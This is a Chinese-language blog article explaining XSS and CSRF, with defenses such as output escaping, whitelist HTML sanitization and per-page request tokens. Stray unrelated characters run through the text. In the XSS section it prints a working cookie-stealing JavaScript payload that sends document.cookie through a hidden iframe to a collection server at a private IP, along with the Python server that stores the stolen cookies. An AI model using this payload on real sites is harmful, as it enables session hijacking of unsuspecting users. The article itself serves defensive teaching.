在那個(gè)年代随橘,大家一般用拼接字符串的方式來(lái)構(gòu)造動(dòng)態(tài) SQL 語(yǔ)句創(chuàng)建應(yīng)用,于是 SQL 注入成了很流行的攻擊方式隘马。在這個(gè)年代, 參數(shù)化查詢(xún)[1]已經(jīng)成了普遍用法酸员,我們已經(jīng)離 SQL 注入很遠(yuǎn)了。但是讳嘱,歷史同樣悠久的 XSS 和 CSRF 卻沒(méi)有遠(yuǎn)離我們幔嗦。由于之前已經(jīng)對(duì) XSS 很熟悉了,所以我對(duì)用戶(hù)輸入的數(shù)據(jù)一直非常小心沥潭。如果輸入的時(shí)候沒(méi)有經(jīng)過(guò) Tidy 之類(lèi)的過(guò)濾邀泉,我一定會(huì)在模板輸出時(shí)候全部轉(zhuǎn)義。所以個(gè)人感覺(jué)钝鸽,要避免 XSS 也是很容易的汇恤,重點(diǎn)是要“小心”。但最近又聽(tīng)說(shuō)了另一種跨站攻擊 CSRF 拔恰,于是找了些資料了解了一下因谎,并與 XSS 放在一起做個(gè)比較。
XSS:腳本中的不速之客
XSS 全稱(chēng)“跨站腳本”颜懊,是注入攻擊的一種财岔。其特點(diǎn)是不對(duì)服務(wù)器端造成任何傷害风皿,而是通過(guò)一些正常的站內(nèi)交互途徑,例如發(fā)布評(píng)論匠璧,提交含有 JavaScript 的內(nèi)容文本桐款。這時(shí)服務(wù)器端如果沒(méi)有過(guò)濾或轉(zhuǎn)義掉這些腳本,作為內(nèi)容發(fā)布到了頁(yè)面上夷恍,其他用戶(hù)訪問(wèn)這個(gè)頁(yè)面的時(shí)候就會(huì)運(yùn)行這些腳本魔眨。
運(yùn)行預(yù)期之外的腳本帶來(lái)的后果有很多中,可能只是簡(jiǎn)單的惡作劇——一個(gè)關(guān)不掉的窗口:
while(true)
{alert("你關(guān)不掉我~");}
也可以是盜號(hào)或者其他未授權(quán)的操作——我們來(lái)模擬一下這個(gè)過(guò)程酿雪,先建立一個(gè)用來(lái)收集信息的服務(wù)器:
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集服務(wù)器
"""
importbottleapp=bottle.Bottle()plugin=bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')app.install(plugin)@app.route('/myxss/')defshow(cookies,db):SQL='INSERT INTO "myxss" ("cookies") VALUES (?)'try:db.execute(SQL,cookies)except:passreturn""if__name__=="__main__":app.run()
然后在某一個(gè)頁(yè)面的評(píng)論中注入這段代碼:
// 用 包起來(lái)放在評(píng)論中(function(window,document){// 構(gòu)造泄露信息用的 URLvarcookies=document.cookie;varxssURIBase="http://192.168.123.123/myxss/";varxssURI=xssURIBase+window.encodeURI(cookies);// 建立隱藏 iframe 用于通訊varhideFrame=document.createElement("iframe");hideFrame.height=0;hideFrame.width=0;hideFrame.style.display="none";hideFrame.src=xssURI;// 開(kāi)工document.body.appendChild(hideFrame);})(window,document);
于是每個(gè)訪問(wèn)到含有該評(píng)論的頁(yè)面的用戶(hù)都會(huì)遇到麻煩——他們不知道背后正悄悄的發(fā)起了一個(gè)請(qǐng)求遏暴,是他們所看不到的。而這個(gè)請(qǐng)求执虹,會(huì)把包含了他們的帳號(hào)和其他隱私的信息發(fā)送到收集服務(wù)器上拓挥。
我們知道 AJAX 技術(shù)所使用的 XMLHttpRequest 對(duì)象都被瀏覽器做了限制,只能訪問(wèn)當(dāng)前域名下的 URL袋励,所謂不能“跨域”問(wèn)題侥啤。這種做法的初衷也是防范 XSS,多多少少都起了一些作用茬故,但不是總是有用盖灸,正如上面的注入代碼,用 iframe 也一樣可以達(dá)到相同的目的磺芭。甚至在愿意的情況下吊履,我還能用 iframe 發(fā)起 POST 請(qǐng)求。當(dāng)然父叙,現(xiàn)在一些瀏覽器能夠很智能地分析出部分 XSS 并予以攔截饺汹,例如新版的 Firefox、Chrome 都能這么做放棒。但攔截不總是能成功姻报,何況這個(gè)世界上還有大量根本不知道什么是瀏覽器的用戶(hù)在用著可怕的 IE6。從原則上將间螟,我們也不應(yīng)該把事關(guān)安全性的責(zé)任推脫給瀏覽器吴旋,所以防止 XSS 的根本之道還是過(guò)濾用戶(hù)輸入。用戶(hù)輸入總是不可信任的厢破,這點(diǎn)對(duì)于 Web 開(kāi)發(fā)者應(yīng)該是常識(shí)荣瑟。
正如上文所說(shuō),如果我們不需要用戶(hù)輸入 HTML 而只想讓他們輸入純文本摩泪,那么把所有用戶(hù)輸入進(jìn)行 HTML 轉(zhuǎn)義輸出是個(gè)不錯(cuò)的做法笆焰。似乎很多 Web 開(kāi)發(fā)框架、模版引擎的開(kāi)發(fā)者也發(fā)現(xiàn)了這一點(diǎn)加勤,Django 內(nèi)置模版和 Jinja2 模版總是默認(rèn)轉(zhuǎn)義輸出變量的仙辟。如果沒(méi)有使用它們同波,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數(shù)叠国,Python 可以導(dǎo)入 cgi 模塊用其中的 cgi.escape 函數(shù)未檩。如果使用了某款模版引擎,那么其必自帶了方便快捷的轉(zhuǎn)義方式粟焊。
真正麻煩的是冤狡,在一些場(chǎng)合我們要允許用戶(hù)輸入 HTML,又要過(guò)濾其中的腳本项棠。Tidy 等 HTML 清理庫(kù)可以幫忙悲雳,但前提是我們小心地使用。僅僅粗暴地去掉 script 標(biāo)簽是沒(méi)有用的香追,任何一個(gè)合法 HTML 標(biāo)簽都可以添加 onclick 一類(lèi)的事件屬性來(lái)執(zhí)行 JavaScript合瓢。對(duì)于復(fù)雜的情況,我個(gè)人更傾向于使用簡(jiǎn)單的方法處理透典,簡(jiǎn)單的方法就是白名單重新整理晴楔。用戶(hù)輸入的 HTML 可能擁有很復(fù)雜的結(jié)構(gòu),但我們并不將這些數(shù)據(jù)直接存入數(shù)據(jù)庫(kù)峭咒,而是使用 HTML 解析庫(kù)遍歷節(jié)點(diǎn)税弃,獲取其中數(shù)據(jù)(之所以不使用 XML 解析庫(kù)是因?yàn)?HTML 要求有較強(qiáng)的容錯(cuò)性)。然后根據(jù)用戶(hù)原有的標(biāo)簽屬性凑队,重新構(gòu)建 HTML 元素樹(shù)则果。構(gòu)建的過(guò)程中,所有的標(biāo)簽漩氨、屬性都只從白名單中拿取西壮。這樣可以確保萬(wàn)無(wú)一失——如果用戶(hù)的某種復(fù)雜輸入不能為解析器所識(shí)別(前面說(shuō)了 HTML 不同于 XML,要求有很強(qiáng)的容錯(cuò)性)叫惊,那么它不會(huì)成為漏網(wǎng)之魚(yú)茸时,因?yàn)榘酌麊沃匦抡淼牟呗詴?huì)直接丟棄掉這些未能識(shí)別的部分。最后獲得的新 HTML 元素樹(shù)赋访,我們可以拍胸脯保證——所有的標(biāo)簽、屬性都來(lái)自白名單缓待,一定不會(huì)遺漏蚓耽。
現(xiàn)在看來(lái),大多數(shù) Web 開(kāi)發(fā)者都了解 XSS 并知道如何防范旋炒,往往大型的 XSS 攻擊(包括前段時(shí)間新浪微博的 XSS 注入)都是由于疏漏步悠。我個(gè)人建議在使用模版引擎的 Web 項(xiàng)目中,開(kāi)啟(或不要關(guān)閉)類(lèi)似 Django Template瘫镇、Jinja2 中“默認(rèn)轉(zhuǎn)義”(Auto Escape)的功能鼎兽。在不需要轉(zhuǎn)義的場(chǎng)合答姥,我們可以用類(lèi)似{{ myvar | raw }}的方式取消轉(zhuǎn)義。這種白名單式的做法谚咬,有助于降低我們由于疏漏留下 XSS 漏洞的風(fēng)險(xiǎn)鹦付。
另外一個(gè)風(fēng)險(xiǎn)集中區(qū)域,是富 AJAX 類(lèi)應(yīng)用(例如豆瓣網(wǎng)的阿爾法城)择卦。這類(lèi)應(yīng)用的風(fēng)險(xiǎn)并不集中在 HTTP 的靜態(tài)響應(yīng)內(nèi)容敲长,所以不是開(kāi)啟模版自動(dòng)轉(zhuǎn)義能就能一勞永逸的。再加上這類(lèi)應(yīng)用往往需要跨域秉继,開(kāi)發(fā)者不得不自己打開(kāi)危險(xiǎn)的大門(mén)祈噪。這種情況下,站點(diǎn)的安全非常依賴(lài)開(kāi)發(fā)者的細(xì)心和應(yīng)用上線前有效的測(cè)試∩屑現(xiàn)在亦有不少開(kāi)源的 XSS 漏洞測(cè)試軟件包(似乎有篇文章提到豆瓣網(wǎng)的開(kāi)發(fā)也使用自動(dòng)化 XSS 測(cè)試)辑鲤,但我都沒(méi)試用過(guò),故不予評(píng)價(jià)杠茬。不管怎么說(shuō)月褥,我認(rèn)為從用戶(hù)輸入的地方把好關(guān)總是成本最低而又最有效的做法。
更新(2014-10-04)
這里附上一些“白名單”消毒 HTML 標(biāo)簽和屬性(Sanitize HTML)的開(kāi)源解決方案:
Python:lxml.html.clean/bleach
Ruby:Sanitize
JavaScript:sanitize-html
PHP:htmlpurifier
CSRF:冒充用戶(hù)之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么區(qū)別澈蝙,后來(lái)才明白 CSRF 和 XSS 根本是兩個(gè)不同維度上的分類(lèi)吓坚。XSS 是實(shí)現(xiàn) CSRF 的諸多途徑中的一條,但絕對(duì)不是唯一的一條灯荧。一般習(xí)慣上把通過(guò) XSS 來(lái)實(shí)現(xiàn)的 CSRF 稱(chēng)為 XSRF礁击。
CSRF 的全稱(chēng)是“跨站請(qǐng)求偽造”,而 XSS 的全稱(chēng)是“跨站腳本”逗载《吡看起來(lái)有點(diǎn)相似,它們都是屬于跨站攻擊——不攻擊服務(wù)器端而攻擊正常訪問(wèn)網(wǎng)站的用戶(hù)厉斟,但前面說(shuō)了挚躯,它們的攻擊類(lèi)型是不同維度上的分類(lèi)。CSRF 顧名思義擦秽,是偽造請(qǐng)求码荔,冒充用戶(hù)在站內(nèi)的正常操作。我們知道感挥,絕大多數(shù)網(wǎng)站是通過(guò) cookie 等方式辨識(shí)用戶(hù)身份(包括使用服務(wù)器端 Session 的網(wǎng)站缩搅,因?yàn)?Session ID 也是大多保存在 cookie 里面的),再予以授權(quán)的触幼。所以要偽造用戶(hù)的正常操作硼瓣,最好的方法是通過(guò) XSS 或鏈接欺騙等途徑,讓用戶(hù)在本機(jī)(即擁有身份 cookie 的瀏覽器端)發(fā)起用戶(hù)所不知道的請(qǐng)求置谦。
嚴(yán)格意義上來(lái)說(shuō)堂鲤,CSRF 不能分類(lèi)為注入攻擊亿傅,因?yàn)?CSRF 的實(shí)現(xiàn)途徑遠(yuǎn)遠(yuǎn)不止 XSS 注入這一條。通過(guò) XSS 來(lái)實(shí)現(xiàn) CSRF 易如反掌瘟栖,但對(duì)于設(shè)計(jì)不佳的網(wǎng)站葵擎,一條正常的鏈接都能造成 CSRF。
例如慢宗,一論壇網(wǎng)站的發(fā)貼是通過(guò) GET 請(qǐng)求訪問(wèn)坪蚁,點(diǎn)擊發(fā)貼之后 JS 把發(fā)貼內(nèi)容拼接成目標(biāo) URL 并訪問(wèn):http://example.com/bbs/create_post.php?title=標(biāo)題&content=內(nèi)容那么,我只需要在論壇中發(fā)一帖镜沽,包含一鏈接:http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈只要有用戶(hù)點(diǎn)擊了這個(gè)鏈接敏晤,那么他們的帳戶(hù)就會(huì)在不知情的情況下發(fā)布了這一帖子∶遘裕可能這只是個(gè)惡作劇嘴脾,但是既然發(fā)貼的請(qǐng)求可以偽造,那么刪帖蔬墩、轉(zhuǎn)帳译打、改密碼、發(fā)郵件全都可以偽造拇颅。
如何解決這個(gè)問(wèn)題奏司,我們是否可以效仿上文應(yīng)對(duì) XSS 的做法呢?過(guò)濾用戶(hù)輸入樟插, 不允許發(fā)布這種含有站內(nèi)操作 URL 的鏈接韵洋。這么做可能會(huì)有點(diǎn)用,但阻擋不了 CSRF黄锤,因?yàn)楣粽呖梢酝ㄟ^(guò) QQ 或其他網(wǎng)站把這個(gè)鏈接發(fā)布上去搪缨,為了偽裝可能還使用 bit.ly 壓縮一下網(wǎng)址,這樣點(diǎn)擊到這個(gè)鏈接的用戶(hù)還是一樣會(huì)中招鸵熟。所以對(duì)待 CSRF 副编,我們的視角需要和對(duì)待 XSS 有所區(qū)別。CSRF 并不一定要有站內(nèi)的輸入流强,因?yàn)樗⒉粚儆谧⑷牍舯越欤钦?qǐng)求偽造。被偽造的請(qǐng)求可以是任何來(lái)源打月,而非一定是站內(nèi)短纵。所以我們唯有一條路可行,就是過(guò)濾請(qǐng)求的處理者僵控。
比較頭痛的是,因?yàn)檎?qǐng)求可以從任何一方發(fā)起鱼冀,而發(fā)起請(qǐng)求的方式多種多樣报破,可以通過(guò) iframe悠就、ajax(這個(gè)不能跨域,得先 XSS)充易、Flash 內(nèi)部發(fā)起請(qǐng)求(總是個(gè)大隱患)梗脾。由于幾乎沒(méi)有徹底杜絕 CSRF 的方式,我們一般的做法盹靴,是以各種方式提高攻擊的門(mén)檻炸茧。
首先可以提高的一個(gè)門(mén)檻,就是改良站內(nèi) API 的設(shè)計(jì)稿静。對(duì)于發(fā)布帖子這一類(lèi)創(chuàng)建資源的操作梭冠,應(yīng)該只接受 POST 請(qǐng)求,而 GET 請(qǐng)求應(yīng)該只瀏覽而不改變服務(wù)器端資源改备。當(dāng)然控漠,最理想的做法是使用REST 風(fēng)格[2]的 API 設(shè)計(jì),GET悬钳、POST盐捷、PUT、DELETE 四種請(qǐng)求方法對(duì)應(yīng)資源的讀取默勾、創(chuàng)建碉渡、修改、刪除∧赴現(xiàn)在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請(qǐng)求方法滞诺,我們可以使用 ajax 提交請(qǐng)求(例如通過(guò) jquery-form 插件,我最喜歡的做法)媳搪,也可以使用隱藏域指定請(qǐng)求方法铭段,然后用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的做法)。這么一來(lái)秦爆,不同的資源操作區(qū)分的非常清楚序愚,我們把問(wèn)題域縮小到了非 GET 類(lèi)型的請(qǐng)求上——攻擊者已經(jīng)不可能通過(guò)發(fā)布鏈接來(lái)偽造請(qǐng)求了,但他們?nèi)钥梢园l(fā)布表單等限,或者在其他站點(diǎn)上使用我們?nèi)庋鄄豢梢?jiàn)的表單爸吮,在后臺(tái)用 js 操作,偽造請(qǐng)求望门。
接下來(lái)我們就可以用比較簡(jiǎn)單也比較有效的方法來(lái)防御 CSRF形娇,這個(gè)方法就是“請(qǐng)求令牌”。讀過(guò)《J2EE 核心模式》的同學(xué)應(yīng)該對(duì)“同步令牌”應(yīng)該不會(huì)陌生筹误,“請(qǐng)求令牌”和“同步令牌”原理是一樣的桐早,只不過(guò)目的不同,后者是為了解決 POST 請(qǐng)求重復(fù)提交問(wèn)題,前者是為了保證收到的請(qǐng)求一定來(lái)自預(yù)期的頁(yè)面哄酝。實(shí)現(xiàn)方法非常簡(jiǎn)單友存,首先服務(wù)器端要以某種策略生成隨機(jī)字符串,作為令牌(token)陶衅,保存在 Session 里屡立。然后在發(fā)出請(qǐng)求的頁(yè)面,把該令牌以隱藏域一類(lèi)的形式搀军,與其他信息一并發(fā)出膨俐。在接收請(qǐng)求的頁(yè)面,把接收到的信息中的令牌與 Session 中的令牌比較罩句,只有一致的時(shí)候才處理請(qǐng)求焚刺,否則返回 HTTP 403 拒絕請(qǐng)求或者要求用戶(hù)重新登錄驗(yàn)證身份。
請(qǐng)求令牌雖然使用起來(lái)簡(jiǎn)單的止,但并非不可破解檩坚,使用不當(dāng)會(huì)增加安全隱患。使用請(qǐng)求令牌來(lái)防止 CSRF 有以下幾點(diǎn)要注意:
雖然請(qǐng)求令牌原理和驗(yàn)證碼有相似之處诅福,但不應(yīng)該像驗(yàn)證碼一樣匾委,全局使用一個(gè) Session Key。因?yàn)檎?qǐng)求令牌的方法在理論上是可破解的氓润,破解方式是解析來(lái)源頁(yè)面的文本赂乐,獲取令牌內(nèi)容。如果全局使用一個(gè) Session Key咖气,那么危險(xiǎn)系數(shù)會(huì)上升崩溪。原則上來(lái)說(shuō)伶唯,每個(gè)頁(yè)面的請(qǐng)求令牌都應(yīng)該放在獨(dú)立的 Session Key 中乳幸。我們?cè)谠O(shè)計(jì)服務(wù)器端的時(shí)候粹断,可以稍加封裝瓶埋,編寫(xiě)一個(gè)令牌工具包诊沪,將頁(yè)面的標(biāo)識(shí)作為 Session 中保存令牌的鍵娄徊。
在 ajax 技術(shù)應(yīng)用較多的場(chǎng)合,因?yàn)楹苡姓?qǐng)求是 JavaScript 發(fā)起的兵多,使用靜態(tài)的模版輸出令牌值或多或少有些不方便剩膘。但無(wú)論如何怠褐,請(qǐng)不要提供直接獲取令牌值的 API奠涌。這么做無(wú)疑是鎖上了大門(mén),卻又把鑰匙放在門(mén)口慈格,讓我們的請(qǐng)求令牌退化為同步令牌。
第一點(diǎn)說(shuō)了請(qǐng)求令牌理論上是可破解的选泻,所以非常重要的場(chǎng)合滔金,應(yīng)該考慮使用驗(yàn)證碼(令牌的一種升級(jí),目前來(lái)看破解難度極大)忿族,或者要求用戶(hù)再次輸入密碼(亞馬遜道批、淘寶的做法)椭岩。但這兩種方式用戶(hù)體驗(yàn)都不好璃赡,所以需要產(chǎn)品開(kāi)發(fā)者權(quán)衡碉考。
無(wú)論是普通的請(qǐng)求令牌還是驗(yàn)證碼,服務(wù)器端驗(yàn)證過(guò)一定記得銷(xiāo)毀。忘記銷(xiāo)毀用過(guò)的令牌是個(gè)很低級(jí)但是殺傷力很大的錯(cuò)誤热芹。我們學(xué)校的選課系統(tǒng)就有這個(gè)問(wèn)題,驗(yàn)證碼用完并未銷(xiāo)毀,故只要獲取一次驗(yàn)證碼圖片,其中的驗(yàn)證碼可以在多次請(qǐng)求中使用(只要不再次刷新驗(yàn)證碼圖片)茅撞,一直用到 Session 超時(shí)米丘。這也是為何選課系統(tǒng)加了驗(yàn)證碼,外掛軟件升級(jí)一次之后仍然暢通無(wú)阻堕扶。
如下也列出一些據(jù)說(shuō)能有效防范 CSRF稍算,其實(shí)效果甚微的方式甚至無(wú)效的做法。
通過(guò) referer 判定來(lái)源頁(yè)面:referer 是在 HTTP Request Head 里面的勃教,也就是由請(qǐng)求的發(fā)送者決定的污抬。如果我喜歡,可以給 referer 任何值。當(dāng)然這個(gè)做法并不是毫無(wú)作用,起碼可以防小白。但我覺(jué)得性?xún)r(jià)比不如令牌。
過(guò)濾所有用戶(hù)發(fā)布的鏈接:這個(gè)是最無(wú)效的做法,因?yàn)槭紫裙粽卟灰欢ㄒ獜恼緝?nèi)發(fā)起請(qǐng)求(上面提到過(guò)了)缸匪,而且就算從站內(nèi)發(fā)起請(qǐng)求,途徑也遠(yuǎn)遠(yuǎn)不止鏈接一條谴蔑。比如就是個(gè)不錯(cuò)的選擇钦睡,還不需要用戶(hù)去點(diǎn)擊衰抑,只要用戶(hù)的瀏覽器會(huì)自動(dòng)加載圖片荧嵌,就會(huì)自動(dòng)發(fā)起請(qǐng)求呛踊。
在請(qǐng)求發(fā)起頁(yè)面用 alert 彈窗提醒用戶(hù):這個(gè)方法看上去能干擾站外通過(guò) iframe 發(fā)起的 CSRF,但攻擊者也可以考慮用window.alert =function(){};把 alert 弄啞啦撮,或者干脆脫離 iframe谭网,使用 Flash 來(lái)達(dá)到目的。
總體來(lái)說(shuō)赃春,目前防御 CSRF 的諸多方法還沒(méi)幾個(gè)能徹底無(wú)解的愉择。所以 CSDN 上看到討論 CSRF 的文章,一般都會(huì)含有“無(wú)恥”二字來(lái)形容(另一位有該名號(hào)的貌似是 DDOS 攻擊)织中。作為開(kāi)發(fā)者锥涕,我們能做的就是盡量提高破解難度。當(dāng)破解難度達(dá)到一定程度抠璃,網(wǎng)站就逼近于絕對(duì)安全的位置了(雖然不能到達(dá))站楚。上述請(qǐng)求令牌方法,就我認(rèn)為是最有可擴(kuò)展性的搏嗡,因?yàn)槠湓砗?CSRF 原理是相克的窿春。CSRF 難以防御之處就在于對(duì)服務(wù)器端來(lái)說(shuō),偽造的請(qǐng)求和正常的請(qǐng)求本質(zhì)上是一致的采盒。而請(qǐng)求令牌的方法旧乞,則是揪出這種請(qǐng)求上的唯一區(qū)別——來(lái)源頁(yè)面不同。我們還可以做進(jìn)一步的工作磅氨,例如讓頁(yè)面中 token 的 key 動(dòng)態(tài)化尺栖,進(jìn)一步提高攻擊者的門(mén)檻。本文只是我個(gè)人認(rèn)識(shí)的一個(gè)總結(jié)烦租,便不討論過(guò)深了延赌。